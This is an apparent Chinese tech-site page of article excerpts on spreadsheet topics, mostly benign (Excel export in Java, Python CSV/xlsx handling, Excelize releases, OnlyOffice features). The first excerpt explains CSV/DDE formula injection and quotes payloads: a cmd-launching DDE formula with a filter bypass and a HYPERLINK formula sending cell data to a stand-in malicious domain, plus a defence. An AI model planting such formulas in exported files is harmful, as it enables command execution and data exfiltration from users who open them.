首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

DDE注入(CSV)漏洞原理及实战案例全汇总

---- 1、漏洞原理: 1)Excel解析机制 第一个需要知道的知识点是,在Excel任何以'='字符开头的单元格都将被电子表格软件解释为公式,如果我们在其中输入“=2+5”,则表格会显示为: ?...Excel、Word、Rtf、Outlook都可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含DDE公式的CSV文件,那么在打开该文件时,Excel就会尝试执行外部应用。...data=”&A1,“Click to view additional information”)” 将创建一个单元格,显示文本“单击以查看其他信息”,当用户单击,将发送A1中的数据到maliciousDomain.com...3)Hackerone过滤绕过 这是对后台过滤的第二次绕过,在等号前加一个分号;可绕过: ;=cmd|' /C calc'!A0 ? Excel识别并解析分隔符;,将数据拆分并执行: ?...A0) 5、=HYPERLINK("https://evil.com") 6、防御手段: 1)一般的防御手段为,在生成电子表格时,以任何危险符号开头的字段应该以单引号、撇号(')字符或空格作为前缀,确保单元格不被解释为公式

9.6K20

JAVA大数据导出EXCEL方案

它通常具有以下特征: 1)纯文本,可以使用Excel和文本编辑器打开; 2)每条记录被分隔符分隔为字段(典型分隔符有逗号、分号或制表符;有时分隔符可 以包括可选的空格);...推荐使用情况:1大数据;2复杂的单元格要求;3)读取数据时。 具体使用调用POI何种包来实现导出功能,需要视需求而定。...但是仅支持对文本文件的操作,如:CSV、TXT等,且导出的文件会相对较大。 推荐使用情况:1)导出文件格式为文本文件;2)不在意导出的文件过大。...基本特征如下: 1)生成Excel文件 2)从工作簿和电子表格导入数据 3)获得行和列的总数 此方式对中文支持很好,不会出现乱码情况,支持单元格的常用操作,满足一般需求,该方式在写入效率上优于...推荐使用情况:1)数据量不是太大;2)单元格要求简单;3)写入数据时。

6.1K20
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    Python一条龙:创建、读取、更新、搜索Excel文件

    ♥ 优化强化学习Q-learning算法进行股市 第1部分:CSV文件 CSV文件是由逗号分隔的值文件,其中纯文本数据以表格格式显示。...它们可以与任何电子表格程序一起使用,如Microsoft Office Excel、Google Spreadsheets或LibreOffice Calc CSV文件与其他电子表格文件不同,因为它们不允许保存单元格...使用你首选的电子表格应用程序打开此文件,会看到如下内容: 如果你选择在其他应用程序中打开文件,结果可能是这的: 更新CSV文件 如果要更新这个文件,你应该创建一个名为updater的新函数,它只接受一个名为...你只需要添加 “elif option == “update”:,代码: 第2部分:xlsx文件 使用Python3和openpyxl库构建了这个解决方案。...它还允许我们读或写行和列,合并或取消合并单元格或创建Python excel图表等。

    1.9K20

    什么是CSV文件以及如何打开CSV文件格式

    CSV文件是存储表和电子表格信息的纯文本文件。 内容通常是文本,数字或日期的表。 可以使用将数据存储在表中的程序轻松导入和导出CSV文件。...打开CSV文件比您想象的要简单。 在几乎所有文本编辑器或电子表格程序中,只需选择“ 文件”>“打开”,然后选择CSV文件。...对于大多数人来说,最好使用电子表格程序。 电子表格程序以一种比文本编辑器更易于阅读和使用的方式显示数据。...如果您已经安装了Microsoft Excel,只需双击一个CSV文件即可在Excel中打开它。 双击文件后,您可能会看到一个提示,询问您要使用哪个程序打开它。...双击文件后,您可能会看到一个提示,询问您要使用哪个程序打开它。 选择OpenOffice Calc

    6.3K30

    Excelize 2.3.0 发布, Go 语言 Excel 基础库

    hashnode_banner.png Excelize 是 Go 语言编写的用于操作 Office Excel 文档基础库,基于 ECMA-376,ISO/IEC 29500 国际标准。...可以使用它来读取、写入由 Microsoft Excel™ 2007 及以上版本创建的电子表格文档。...自动筛选器兼容 Office 2007 - 2010 版本的电子表格应用程序,解决 issue #637 问题修复 修复因工作簿内产生了重复的筛选数据库而导致的文档损坏问题 避免添加样式时生成重复的样式定义...修复设置富文本中包含的特殊字符丢失问题 修复使用 Office 应用程序打开添加批注的文档,保存后再次打开批注形状不为矩形的问题,解决 #672 避免部分情况下开启编译内联优化参数时潜在的运行时 panic...问题,解决 issue #677 和 #679 修正获取百分比单元格值的数值精度问题 其他 修复特定情况下打开无效工作表时出现的异常 panic 问题 完善单元测试中的错误处理 包含简体中文、英语、法语

    1.3K51

    Excelize 2.2.0 发布, Go 语言 Excel 基础库

    excelize-hashnode-banner.png Excelize 是 Go 语言编写的用于操作 Office Excel 文档基础库,基于 ECMA-376,ISO/IEC 29500 国际标准...可以使用它来读取、写入由 Microsoft Excel™ 2007 及以上版本创建的电子表格文档。...支持从工作表中删除条件格式,相关 issue #571 新增 DeleteDataValidation API,支持从工作表中删数据验证设置,相关 issue #348 新增 SetCellRichText API,支持设置单元格换行与富文本样式...获取单元格值错误问题,解决 issue #602 修复因某些情况下文档内部行内单元格缺少 r 属性而导致的 GetCellValue 错误地返回空值问题 兼容单元格样式中的空值与默认值,修复部分情况下通过电子表格软件打开生成文档修改样式失效的问题...,解决 issue #628 性能提升 优化内部函数 getRowHeight,降低内存占用 其他 移除工作表计算属性使部分电子表格应用程序(如:金山 WPS™ Office打开生成的文档进行重新计算公式

    2.3K41

    AutoHotkey 通过 COM 操作 Excel 文档

    实际情况是这样:默认情况下,在任何时候使用脚本创建 Office 应用程序的实例,该应用程序都将在屏幕上不可见的窗口中运行。Excel 其实存在于后台,所以您无法看到它。...我们已经会创建 Excel 实例,现在看看如何打开电子表格。...要打开电子表格,我们需要创建一个 Workbooks 集合的实例,然后使用 Open 方法打开电子表格。...如果您的计算机中没有安装 Excel,那么脚本也不会起作用(如果您认为仅仅通过运行这个脚本就可以避免购买 Office,那么很抱歉,让您失望了)。 有没有打开电子表格的其他的编程方法?有。...使用范围 在许多时候我们需要对多个单元格,例如同一行的某些单元格或整列单元格,这时需要使用范围。

    1.8K20

    【合合TextIn】智能文档处理系列—电子文档解析技术全格式解析

    这一过程涉及到理解文档的格式、内容、结构和语义,是连接文档内容与应用程序、数据库和其他信息系统的桥梁。...这些文件共同定义了电子表格的各种数据和属性,包括但不限于单元格数据、样式、公式、图表、以及工作表的结构等。XLSX文件的主要组成部分包括:xl/worksheets/:存储各个工作表的数据。...理解XLSX文件结构是提取电子表格数据和元数据的基础。6.2.2 单元格数据和类型处理XLSX中的数据存储在单元格中,每个单元格可以包含文本、数字、公式等不同类型的数据。...CSV格式的主要特点是简洁易懂,每行一个数据记录,每个记录由逗号(或其他分隔符,如制表符)分隔的多个字段组成。CSV文件可以方便地用文本编辑器打开,也可以被各种程序语言和数据处理软件读取和写入。...9.2 解析关键点9.2.1 分隔符文本限定符处理正确识别分隔符是解析CSV文件的首要任务。此外,当字段值中包含分隔符、换行符或引号时,这些字段通常会用文本限定符(通常是双引号)包围。

    36310

    python操作Excel学习笔记,以后储存数据 办公很轻松!

    微软的Windows操作系统在PC端具有碾压性的优势,它的Office办公软件在我们的日常工作学习中的应用可以说是无处不在。...这应该针对电子表格中所有单元格进行。实现前后效果如下: ? ?...第四个例子为:编写一个程序,读入几个文本文件的内容,并 将这些内容插入一个电子表格,每行写入一行文本。...第一个文本文件中的行将写入 列 A 中的单元格,第二个文本文件中的行将写入列 B 中的单元格,以此类推。 这里我准备了几份文本文件,我们将这些文件以单元格的形式写入Exel文件: ?...实现思路:使用os库的listdir()方法找到所在目录的所有文件,接着找出.txt文件,循环遍历获取文件名;使用文件打开的方法打开文件,使用readlines()读取内容以列表形式返回所有的内容;最后遍历这个列表写入

    4.4K10

    ONLYOFFICE8.1版本震撼来袭

    技术原理: 协同办公在线编辑的技术原理是通过文档服务器(Document Server)维护文本文档、电子表格和演示文稿编辑器,并使用HTML5 Canvas元素以JavaScript编写。...文本文档编辑器 页面颜色: 为页面设置所需的背景颜色。尽管您打开的文件是用其他软件创建的,并且设置了页面颜色,ONLYOFFICE 文档编辑器也能够正确识别并显示它。...路径:顶部标题工具栏 电子表格编辑器 更多安全保护: 限制查看受保护范围内的单元格,以保护重要数据。...除了表单之外,现在还有文本文档、电子表格和演示文稿的模板。...如何使用新功能 观看下方视频,详细了解如何使用新功能: ONLYOFFICE 文档8.1新功能简介:功能全面的 PDF 编辑器、幻灯片版式、改进从右至左显示、优化电子表格的协作等等_哔哩哔哩_bilibili

    17410

    Excelize 2.4.0 正式版发布, 新增 152 项公式函数支持

    [Excelize 2.4.0 正式版发布] Excelize 是 Go 语言编写的用于操作 Office Excel 文档基础库,基于 ECMA-376,ISO/IEC 29500 国际标准。...可以使用它来读取、写入由 Microsoft Excel™ 2007 及以上版本创建的电子表格文档。...,提升行/列迭代器读取性能,修复部分情况下读取行数有误的问题 提高工作簿内工作表文档使用相对路径的兼容性 避免创建重复的富文本样式,解决 issue #787 提高工作簿内工作表文档使用绝对路径与 Windows...目录分隔符的兼容性 问题修复 修复数值舍入精度问题 #764 添加并调整工作表字段的解析顺序,修复部分情况下生成的文档损坏的问题 #766 修复 COTH 双曲余切三角函数计算有误的问题 公式计算链增加对工作表的关联处理...,解决 issue #804 设置名称时内部的 localSheetId 属性将使用 sheetIndex,修正错误的工作表索引使用 修复部分情况下保存后的文档单元格锁定或隐藏属性可能丢失问题,解决 issue

    2.1K71

    使用Python Xlsxwriter创建Excel电子表格(第3部分:格式,迷你图与图表)

    标签:Python与Excel,Xlsxwriter 在上次的基础上,我们将使用Python xlsxwriter库通过添加格式、迷你图和图表来美化我们枯燥的Excel电子表格。...如果你需要从头开始,请参阅: >>>使用PythonXlsxwriter创建Excel电子表格 >>>使用PythonXlsxwriter创建Excel电子表格(第2部分:公式,链接与命名区域) Excel...1.使用对象方法/接口添加格式 例如,我们想要加粗一个文本单元格,使文本颜色为绿色,同时将字体更改为”微软雅黑”。...将格式写入单元格 我们刚刚创建了文本格式,但还没有在工作表上使用它。要在工作表上显示,我们需要将其写入单元格。 worksheet.write()方法接受另一个参数cell_format。...合并单元格很简单,只需使用worksheet.merge_range()。

    2.8K40

    支持公式的3款Excel替代品

    ,(PDF转word)等,并且与微软office高度兼容。...在线打开Excel,查看和编辑.xlsx、.xls、.ods和 .csv文件,并将在线电子表格另存为PDF。...定义单元格区域以快速应用Excel公式 定义和命名单元格范围并将它们用作参数、命名整个格式化表格并管理范围,以便您可以将它们用作内部超链接 无缝协作 实时协作处理Excel电子表格 使用快速模式实时共同编辑...评论、提及、聊天 向单元格添加评论以提出问题和提出问题。在评论中提及用户以邀请他们加入对话。使用内置的实时聊天,通过插件连接 Telegram 或 Jitsi,在编辑器中进行交流。...可圈可点,下面看下它的电子表格内容 主要功能 创建新的电子表格,或者打开并编辑您在网络上或其他设备上创建的任何电子表格 共享电子表格,并且与他人同时处理同一份电子表格 随时随地处理工作,即使没有互联网连接也不受影响

    3.4K10

    【图解】Web前端实现类似Excel的电子表格

    本文将通过图解的方式,使用纯前端表格控件 SpreadJS 来一步一步实现在线的电子表格产品(例如可构建Office 365 Excel产品、Google的在线SpreadSheet)。...如下的代码是通过调节单元格大小、设置字体、以及给文本单元格中赋值、autoFitColumn / autoFitRow方法的大小的一个例子。...;使用SpreadJS,也可以使用addSpan方法来合并多个单元格在工作表上,结果如同Excel一样: // 列結合 activeSheet.addSpan...可以使用类似Excel的公式和函数 可以在Excel中通过设置公式中的单元格进行计算,如求和,平均值,同样地,SpreadJS支持320多种函数,能够轻松实现各类单元格数据处理: ?...另一方面,以CSV的情况下,我将使用getCsv表对象中,该方法setCsv。Excel作为也就是使用CSV将容纳单元的情况下,输入和输出。也可以指定起始位置和范围,单元格分隔符

    9.1K60

    【图解】Web前端实现类似Excel的电子表格

    本文将通过图解的方式,使用纯前端表格控件 SpreadJS 来一步一步实现在线的电子表格产品(例如可构建Office 365 Excel产品、Google的在线SpreadSheet)。...如下的代码是通过调节单元格大小、设置字体、以及给文本单元格中赋值、autoFitColumn / autoFitRow方法的大小的一个例子。...;使用SpreadJS,也可以使用addSpan方法来合并多个单元格在工作表上,结果如同Excel一样: // 列結合 activeSheet.addSpan(0, 0, 2,...可以使用类似Excel的公式和函数 可以在Excel中通过设置公式中的单元格进行计算,如求和,平均值,同样地,SpreadJS支持320多种函数,能够轻松实现各类单元格数据处理: ?...另一方面,以CSV的情况下,我将使用getCsv表对象中,该方法setCsv。Excel作为也就是使用CSV将容纳单元的情况下,输入和输出。也可以指定起始位置和范围,单元格分隔符

    8.3K90

    通宵翻译Pandas官方文档,写了这份Excel万字肝货操作!

    read_csv 的别名 tips = pd.read_table("tips.csv", header=None) Excel文件 Excel 通过双击或使用打开菜单打开各种 Excel 文件格式。...在Excel电子表格中,可以使用条件公式进行逻辑比较。我们将使用 =IF(A2 < 10, "low", "high")的公式,将其拖到新存储列中的所有单元格。...列的选择 在Excel电子表格中,您可以通过以下方式选择所需的列: 隐藏列; 删除列; 引用从一个工作表到另一个工作表的范围; 由于Excel电子表格列通常在标题行中命名,因此重命名列只需更改第一个单元格中的文本即可...查找字符串长度 在电子表格中,可以使用 LEN 函数找到文本中的字符数。这可以与 TRIM 函数一起使用以删除额外的空格。...提取第n个单词 在 Excel 中,您可以使用文本到列向导来拆分文本和检索特定列。(请注意,也可以通过公式来做到这一点。)

    19.5K20

    ONLYOFFICE 桌面编辑器 8.1 发布:全新 PDF 编辑器、幻灯片版式、增强 RTL 支持及更多本地化选项

    以下是该功能的详细说明和使用方法。 1.1 编辑 PDF 文本 在新版本中,用户可以直接在 PDF 文件中编辑文本内容。这一改进消除了以往需要使用其他工具来修改 PDF 文本的麻烦。...选择需要编辑的文本区域:使用鼠标或触控板选中需要编辑的文本区域。 直接进行文本的添加、删除或修改操作:可以像编辑普通文档一样进行文本的编辑操作,添加、删除或修改文本内容。...恢复“连接到云”板块 如果您决定重新启用“连接到云”板块,可以使用相应的参数恢复: 关闭当前运行的 ONLYOFFICE 桌面编辑器:确保应用程序已完全关闭。...使用方法如下: 打开电子表格:在 ONLYOFFICE 桌面编辑器中打开需要编辑的电子表格文件。 在单元格中输入 GETPIVOTDATA 函数: 用于从数据透视表中获取数据。...在单元格中输入 IMPORTRANGE 函数: 用于从另一个电子表格中导入数据。

    25520

    怎么用python打开csv文件_Python文本处理之csv-csv文件怎么打开

    csv英文全称是Comma-Separated Value,字面翻译逗号分隔值,是一种常见的文本格式文档,可用Excel打开,也可用常见的文本编辑器打开。...csv文件经常用于在电子表格软件和纯文本之间交互数据。 Python内置了csv模块,可以很方便的操作csv文件。下面介绍两种读写csv文件的方法。...结果如下图: 默认情况下,csv分隔符为逗号,那么当字符串中也包含逗号会怎样呢?比如text中的’Python,小黑’,从上图可以看到它正确的显示在一个单元格里了,怎么实现的?...事实上,这里的分隔符逗号和引用符双引号都可以自定义,下面的代码中将分隔符设为冒号,引用符设为%: 用记事本查看csv文件,结果如下: 二、通过DictReader和DictWriter类 csv模块还提供了...利用DictReader读取csv文件时,自动把第一行各单元格的值作为字典的键。

    6.7K20

    Python 自动化指南(繁琐工作自动化)第二版:十三、使用 EXCEL 电子表格

    LibreOffice Calc 和 OpenOffice Calc 都可以使用 Excel 的xlsx电子表格文件格式,这意味着openpyxl模块也可以处理来自这些应用的电子表格。...这个Workbook对象代表 Excel 文件,有点像一个File对象代表一个打开文本文件。 记住example.xlsx需要在当前的工作目录中,这样你才能使用它。...文本文件到电子表格 编写一个程序,读入几个文本文件的内容(您可以自己创建文本文件),并将这些内容插入到电子表格中,每行一行文本。...第一个文本文件的行将位于 A 列的单元格中,第二个文本文件的行将位于 B 列的单元格中,依此类推。 使用readlines() File对象方法返回字符串列表,文件中每行一个字符串。...电子表格文本文件 编写一个程序,以相反的顺序执行前面程序的任务:该程序应该打开一个电子表格,将 A 列的单元格写入一个文本文件,将 B 列的单元格写入另一个文本文件,依此类推。

    18.3K53

    如何插入或 Visio 中粘贴的 Excel 工作表

    在 浏览 对话框中,找到您要插入单击 Excel 电子表格,单击 打开 Excel 电子表格。 单击 确定 。...可以使用此方法可嵌入或链接现有的 Excel 工作表的所有单元格也可嵌入或链接现有的 Excel 工作表的某些单元格。 要这样做,请按下列步骤操作: 启动 Excel,然后打开所需的工作表。...选择所需的单元格。 若要选择工作表中的所有单元格,单击 全选 按钮。 在 编辑 菜单中上, 单击 复制 。 启动 Visio,然后打开绘图。 在 编辑 菜单上单击 选择性粘贴 。...使用以下步骤根据您的具体情况之一: 如果想要嵌入 Excel 工作表,请单击 粘贴 如果它不被选中,然后单击 另存为 列表中的 Microsoft Office Excel 工作表 。...您可以使用滚动条查看嵌入工作表中的所有列和行。 要显示较大的 Excel 工作表的所有单元格 Visio 绘图中,使用除了绘图中嵌入在工作表的下面的方法。 首先,将 Excel 工作表复制为图片。

    10.1K71
    领券